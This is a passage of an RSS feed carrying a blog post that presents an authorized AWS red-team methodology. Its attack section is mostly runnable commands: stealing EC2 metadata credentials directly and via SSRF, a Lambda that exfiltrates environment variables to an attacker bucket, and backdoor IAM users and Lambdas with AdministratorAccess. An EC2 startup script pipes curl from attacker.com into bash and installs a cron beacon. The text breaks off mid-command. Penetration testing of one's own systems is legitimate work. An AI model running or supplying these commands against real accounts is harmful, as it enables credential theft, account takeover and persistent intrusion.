<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Eng Soon Cheah</title>
    <description>The latest articles on DEV Community by Eng Soon Cheah (@cheahengsoon).</description>
    <link>https://dev.to/cheahengsoon</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F147310%2F28d229fa-075d-4d5b-90fc-75f5a6bde174.jpg</url>
      <title>DEV Community: Eng Soon Cheah</title>
      <link>https://dev.to/cheahengsoon</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cheahengsoon"/>
    <language>en</language>
    <item>
      <title>AWS Red Teaming Assessment</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Fri, 03 Apr 2026 01:35:47 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/aws-red-teaming-assessment-2a62</link>
      <guid>https://dev.to/cheahengsoon/aws-red-teaming-assessment-2a62</guid>
      <description>&lt;h1&gt;
  
  
  AWS Cloud Red Team Assessment
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Authorization &amp;amp; Legal&lt;/li&gt;
&lt;li&gt;Scope Definition&lt;/li&gt;
&lt;li&gt;Methodology&lt;/li&gt;
&lt;li&gt;Attack Scenarios &amp;amp; Technical Commands&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;amp;CK Mapping&lt;/li&gt;
&lt;li&gt;Risk Assessment&lt;/li&gt;
&lt;li&gt;Remediation Recommendations&lt;/li&gt;
&lt;li&gt;Detection Engineering&lt;/li&gt;
&lt;li&gt;Appendix&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Authorization &amp;amp; Legal
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 AWS Penetration Testing Policy
&lt;/h3&gt;

&lt;p&gt;AWS allows customers to conduct penetration testing on their own AWS infrastructure without prior approval, subject to the following conditions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✅ Permitted Activities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Penetration testing against AWS resources you own&lt;/li&gt;
&lt;li&gt;Security assessments of EC2, RDS, Lambda, S3, and other AWS services&lt;/li&gt;
&lt;li&gt;Vulnerability scanning of your own applications&lt;/li&gt;
&lt;li&gt;Social engineering campaigns against your employees&lt;/li&gt;
&lt;li&gt;Physical security testing of your own facilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;❌ Prohibited Activities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS zone walking via Route 53&lt;/li&gt;
&lt;li&gt;AWS service availability testing (DoS/DDoS simulation)&lt;/li&gt;
&lt;li&gt;Physical security testing of AWS facilities&lt;/li&gt;
&lt;li&gt;Man-in-the-middle attacks on AWS infrastructure&lt;/li&gt;
&lt;li&gt;Attempting to access other customers' data&lt;/li&gt;
&lt;li&gt;Protocol spoofing to induce customer action&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. Scope Definition
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 In-Scope AWS Services
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service Category&lt;/th&gt;
&lt;th&gt;Services&lt;/th&gt;
&lt;th&gt;Test Types&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compute&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EC2, Lambda, ECS, EKS, Fargate&lt;/td&gt;
&lt;td&gt;Instance compromise, container escape, privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Storage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S3, EBS, EFS, FSx&lt;/td&gt;
&lt;td&gt;Bucket enumeration, data access, encryption bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IAM, Cognito, SSO&lt;/td&gt;
&lt;td&gt;Permission escalation, role assumption, token manipulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Network&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;VPC, Transit Gateway, Route53&lt;/td&gt;
&lt;td&gt;Network segmentation, traffic interception&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Database&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RDS, DynamoDB, Redshift&lt;/td&gt;
&lt;td&gt;SQL injection, data exfiltration, credential access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Management&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CloudTrail, Config, Systems Manager&lt;/td&gt;
&lt;td&gt;Log manipulation, detection evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lambda, API Gateway, Step Functions&lt;/td&gt;
&lt;td&gt;Function injection, event manipulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Containers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ECR, ECS, EKS&lt;/td&gt;
&lt;td&gt;Image poisoning, kubelet access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Messaging&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SQS, SNS, Kinesis&lt;/td&gt;
&lt;td&gt;Message injection, data interception&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Secrets&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Secrets Manager, SSM Parameter Store&lt;/td&gt;
&lt;td&gt;Secret retrieval, parameter manipulation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  2.2 Out-of-Scope Items
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;AWS infrastructure physical security&lt;/li&gt;
&lt;li&gt;Other AWS customer environments&lt;/li&gt;
&lt;li&gt;AWS managed service internal workings&lt;/li&gt;
&lt;li&gt;Denial of Service testing&lt;/li&gt;
&lt;li&gt;Social engineering of AWS employees&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.3 Assumptions &amp;amp; Dependencies
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Tester has valid AWS credentials for testing&lt;/li&gt;
&lt;li&gt;Target environment has representative workloads&lt;/li&gt;
&lt;li&gt;Monitoring tools are enabled for detection testing&lt;/li&gt;
&lt;li&gt;Emergency contacts are available during testing window&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Methodology
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Attack Lifecycle Phases
&lt;/h3&gt;

&lt;p&gt;The assessment follows a structured five-phase approach:&lt;/p&gt;

&lt;p&gt;Phase 1: Initial Access → Phase 2: Persistence → Phase 3: Privilege Escalation &lt;br&gt;
    → Phase 4: Lateral Movement → Phase 5: Data Exfiltration&lt;/p&gt;
&lt;h3&gt;
  
  
  3.2 Tools &amp;amp; Frameworks
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pacu&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AWS exploitation framework&lt;/td&gt;
&lt;td&gt;Rhinosecurity Labs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ScoutSuite&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Multi-cloud security auditing&lt;/td&gt;
&lt;td&gt;NCC Group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CloudSploit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud security posture assessment&lt;/td&gt;
&lt;td&gt;Aqua Security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;enumerate-iam&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IAM permission enumeration&lt;/td&gt;
&lt;td&gt;@andresriancho&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stratus Red Team&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud-native attack simulation&lt;/td&gt;
&lt;td&gt;DataDog&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AWS CLI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Manual exploitation&lt;/td&gt;
&lt;td&gt;AWS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Boto3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Python SDK for automation&lt;/td&gt;
&lt;td&gt;AWS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;S3Scanner&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;S3 bucket enumeration&lt;/td&gt;
&lt;td&gt;saulb&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CloudMapper&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud environment visualization&lt;/td&gt;
&lt;td&gt;Duo Security&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  3.3 Prerequisites &amp;amp; Setup
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install AWS CLI&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://awscli.amazonaws.com/awscli-edge-linux-x86_64.zip"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"awscli.zip"&lt;/span&gt;
unzip awscli.zip
&lt;span class="nb"&gt;sudo&lt;/span&gt; ./aws/install

&lt;span class="c"&gt;# Configure AWS CLI&lt;/span&gt;
aws configure
&lt;span class="c"&gt;# AWS Access Key ID: [YOUR_KEY]&lt;/span&gt;
&lt;span class="c"&gt;# AWS Secret Access Key: [YOUR_SECRET]&lt;/span&gt;
&lt;span class="c"&gt;# Default region name: us-east-1&lt;/span&gt;
&lt;span class="c"&gt;# Default output format: json&lt;/span&gt;

&lt;span class="c"&gt;# Install Python dependencies&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;boto3 botocore pacu cloudsploit scout-suite

&lt;span class="c"&gt;# Clone exploitation frameworks&lt;/span&gt;
git clone https://github.com/RhinosecurityLabs/pacu.git
git clone https://github.com/nccgroup/ScoutSuite.git
git clone https://github.com/aquasecurity/cloudsploit.git

&lt;span class="c"&gt;# Set environment variables&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_PROFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;default
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ATTACKER_EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;attacker@evil.com
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TARGET_ACCOUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;123456789012
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ATTACKER_ACCOUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;987654321098
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Attack Scenarios &amp;amp; Technical Commands
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Phase 1: Initial Access
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Objective
&lt;/h4&gt;

&lt;p&gt;Gain initial foothold in the target AWS environment through various entry vectors.&lt;/p&gt;

&lt;p&gt;[ ] Credential Compromise: Leaked AWS keys, Github reconnaissance&lt;/p&gt;

&lt;p&gt;[ ] Public Exposure: Misconfigured S3, open RDS, exposed APIs&lt;/p&gt;

&lt;p&gt;[ ] Supply Chain: Compromise Lambda layers, EC2 AMIs, CloudFormation templates&lt;/p&gt;
&lt;h4&gt;
  
  
  1.1 Credential Discovery
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Exposure Assessment:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for exposed credentials in environment&lt;/span&gt;
&lt;span class="nb"&gt;env&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;AWS
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.aws/credentials
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.aws/config

&lt;span class="c"&gt;# GitHub reconnaissance (gitleaks)&lt;/span&gt;
gitleaks detect &lt;span class="nt"&gt;--source&lt;/span&gt; https://github.com/target-org &lt;span class="nt"&gt;--verbose&lt;/span&gt;

&lt;span class="c"&gt;# Check for hardcoded credentials in codebases&lt;/span&gt;
git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"aws_access_key_id"&lt;/span&gt;
git &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"aws_secret_access_key"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;S3 Bucket Enumeration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List accessible buckets&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt;

&lt;span class="c"&gt;# Check bucket without authentication&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://TARGET-BUCKET-NAME &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;

&lt;span class="c"&gt;# S3Scanner for bucket enumeration&lt;/span&gt;
s3scanner scan &lt;span class="nt"&gt;-b&lt;/span&gt; target-bucket-name
s3scanner scan &lt;span class="nt"&gt;-f&lt;/span&gt; buckets.txt

&lt;span class="c"&gt;# Check for public S3 buckets with sensitive data&lt;/span&gt;
aws s3api get-bucket-acl &lt;span class="nt"&gt;--bucket&lt;/span&gt; TARGET-BUCKET &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'ACL[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers`]'&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate bucket contents&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://TARGET-BUCKET &lt;span class="nt"&gt;--recursive&lt;/span&gt;
aws s3api list-objects &lt;span class="nt"&gt;--bucket&lt;/span&gt; TARGET-BUCKET
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IAM Enumeration (with some access):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List IAM users&lt;/span&gt;
aws iam list-users

&lt;span class="c"&gt;# List IAM roles&lt;/span&gt;
aws iam list-roles

&lt;span class="c"&gt;# List IAM groups&lt;/span&gt;
aws iam list-groups

&lt;span class="c"&gt;# List attached policies&lt;/span&gt;
aws iam list-policies &lt;span class="nt"&gt;--scope&lt;/span&gt; Local

&lt;span class="c"&gt;# Get user details&lt;/span&gt;
aws iam get-user &lt;span class="nt"&gt;--user-name&lt;/span&gt; TARGET-USER
aws iam list-attached-user-roles &lt;span class="nt"&gt;--user-name&lt;/span&gt; TARGET-USER
aws iam list-attached-user-policies &lt;span class="nt"&gt;--user-name&lt;/span&gt; TARGET-USER
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  1.2 EC2 Metadata Exploitation (IMDSv1)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Access EC2 metadata service&lt;/span&gt;
curl http://169.254.169.254/latest/meta-data/

&lt;span class="c"&gt;# Get IAM role name&lt;/span&gt;
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

&lt;span class="c"&gt;# Extract credentials&lt;/span&gt;
&lt;span class="nv"&gt;INSTANCE_ROLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;span class="si"&gt;)&lt;/span&gt;
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;span class="nv"&gt;$INSTANCE_ROLE&lt;/span&gt;

&lt;span class="c"&gt;# Parse credentials (example output)&lt;/span&gt;
&lt;span class="c"&gt;# AccessKeyId: ASIA...&lt;/span&gt;
&lt;span class="c"&gt;# SecretAccessKey: ...&lt;/span&gt;
&lt;span class="c"&gt;# Token: ...&lt;/span&gt;

&lt;span class="c"&gt;# Use extracted credentials&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EXTRACTED_KEY
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EXTRACTED_SECRET
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SESSION_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EXTRACTED_TOKEN

&lt;span class="c"&gt;# Verify access&lt;/span&gt;
aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSRF-based Metadata Access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If SSRF vulnerability exists&lt;/span&gt;
curl &lt;span class="s2"&gt;"http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"&lt;/span&gt;

&lt;span class="c"&gt;# Using various SSRF techniques&lt;/span&gt;
curl &lt;span class="s2"&gt;"http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  1.3 Lambda Event Injection
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create malicious Lambda function&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; lambda_function.py
import boto3
import os

def lambda_handler(event, context):
    # Exfiltrate environment variables
    s3 = boto3.client('s3')
    s3.put_object(
        Bucket='attacker-bucket',
        Key='env_vars.txt',
        Body=str(os.environ)
    )
    return {'statusCode': 200}
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Package function&lt;/span&gt;
zip &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py

&lt;span class="c"&gt;# Create Lambda&lt;/span&gt;
aws lambda create-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; malicious-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.9 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::ACCOUNT:role/lambda-execution &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--handler&lt;/span&gt; lambda_function.lambda_handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://function.zip

&lt;span class="c"&gt;# Invoke function&lt;/span&gt;
aws lambda invoke &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; malicious-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--payload&lt;/span&gt; &lt;span class="s1"&gt;'{"key":"value"}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  output.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Phase 2: Persistence
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Objective
&lt;/h4&gt;

&lt;p&gt;Establish persistent access mechanisms to maintain foothold despite credential rotation or instance termination.&lt;/p&gt;

&lt;p&gt;[ ] IAM Backdoors: Create new users/keys, modify policies&lt;/p&gt;

&lt;p&gt;[ ] Lambda Persistence: Inject malicious code into functions&lt;/p&gt;

&lt;p&gt;[ ] EC2 Persistence: SSH keys, cron jobs, startup scripts&lt;/p&gt;

&lt;p&gt;[ ] CloudTrail Evasion: Disable logging, delete logs&lt;/p&gt;

&lt;h4&gt;
  
  
  2.1 Create Backdoor IAM User
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create new IAM user&lt;/span&gt;
aws iam create-user &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor-user

&lt;span class="c"&gt;# Create access keys for backdoor user&lt;/span&gt;
aws iam create-access-key &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor-user

&lt;span class="c"&gt;# Output contains:&lt;/span&gt;
&lt;span class="c"&gt;# {&lt;/span&gt;
&lt;span class="c"&gt;#     "AccessKey": {&lt;/span&gt;
&lt;span class="c"&gt;#         "UserName": "backdoor-user",&lt;/span&gt;
&lt;span class="c"&gt;#         "AccessKeyId": "AKIA...",&lt;/span&gt;
&lt;span class="c"&gt;#         "Status": "Active",&lt;/span&gt;
&lt;span class="c"&gt;#         "SecretAccessKey": "...",&lt;/span&gt;
&lt;span class="c"&gt;#         "CreateDate": "2026-04-03T10:00:00Z"&lt;/span&gt;
&lt;span class="c"&gt;#     }&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;

&lt;span class="c"&gt;# Attach AdministratorAccess policy&lt;/span&gt;
aws iam attach-user-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor-user &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::aws:policy/AdministratorAccess

&lt;span class="c"&gt;# Create login profile for console access&lt;/span&gt;
aws iam create-login-profile &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor-user &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--password&lt;/span&gt; &lt;span class="s1"&gt;'TempPass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--no-password-reset-required&lt;/span&gt;

&lt;span class="c"&gt;# Add to AWS CLI profile&lt;/span&gt;
aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; backdoor-user
&lt;span class="c"&gt;# AWS Access Key ID: [NEW_KEY]&lt;/span&gt;
&lt;span class="c"&gt;# AWS Secret Access Key: [NEW_SECRET]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2.2 Lambda Persistence
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create backdoor Lambda code&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; backdoor.py
import boto3
import json

def lambda_handler(event, context):
    # Create new IAM user on every invocation
    iam = boto3.client('iam')
    try:
        iam.create_user(UserName='persistent-backdoor')
        iam.attach_user_policy(
            UserName='persistent-backdoor',
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )
        print("Backdoor user created")
    except Exception as e:
        print(f"Error: {str(e)}")
    return {'statusCode': 200}
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Package function&lt;/span&gt;
zip backdoor.zip backdoor.py

&lt;span class="c"&gt;# Update existing function with backdoor&lt;/span&gt;
aws lambda update-function-code &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; TARGET-FUNCTION &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://backdoor.zip

&lt;span class="c"&gt;# Add S3 bucket trigger&lt;/span&gt;
aws lambda add-event-source-mapping &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; TARGET-FUNCTION &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--event-source-arn&lt;/span&gt; arn:aws:s3:::TARGET-BUCKET

&lt;span class="c"&gt;# Or create new backdoor function&lt;/span&gt;
aws lambda create-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; cloudtrail-processor &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.9 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::ACCOUNT:role/lambda-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--handler&lt;/span&gt; backdoor.lambda_handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://backdoor.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2.3 EC2 Persistence
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create startup script for EC2&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; startup-script.sh
#!/bin/bash
# Add SSH key
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil" &amp;gt;&amp;gt; /home/ec2-user/.ssh/authorized_keys

# Install backdoor
curl http://attacker.com/backdoor.sh | bash

# Create cron job for persistence
echo "*/5 * * * * curl http://attacker.com/beacon.sh | bash" | crontab -
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Create new EC2 with backdoor&lt;/span&gt;
aws ec2 run-instances &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image-id&lt;/span&gt; ami-0c55b159cbfafe1f0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-type&lt;/span&gt; t2.micro &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-data&lt;/span&gt; file://startup-script.sh &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--placement&lt;/span&gt; &lt;span class="nv"&gt;AvailabilityZone&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-east-1a &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--count&lt;/span&gt; 1

&lt;span class="c"&gt;# Add SSH key to existing instance via SSM&lt;/span&gt;
aws ssm send-command &lt;span class="se"&gt;\&lt;/span&gt;
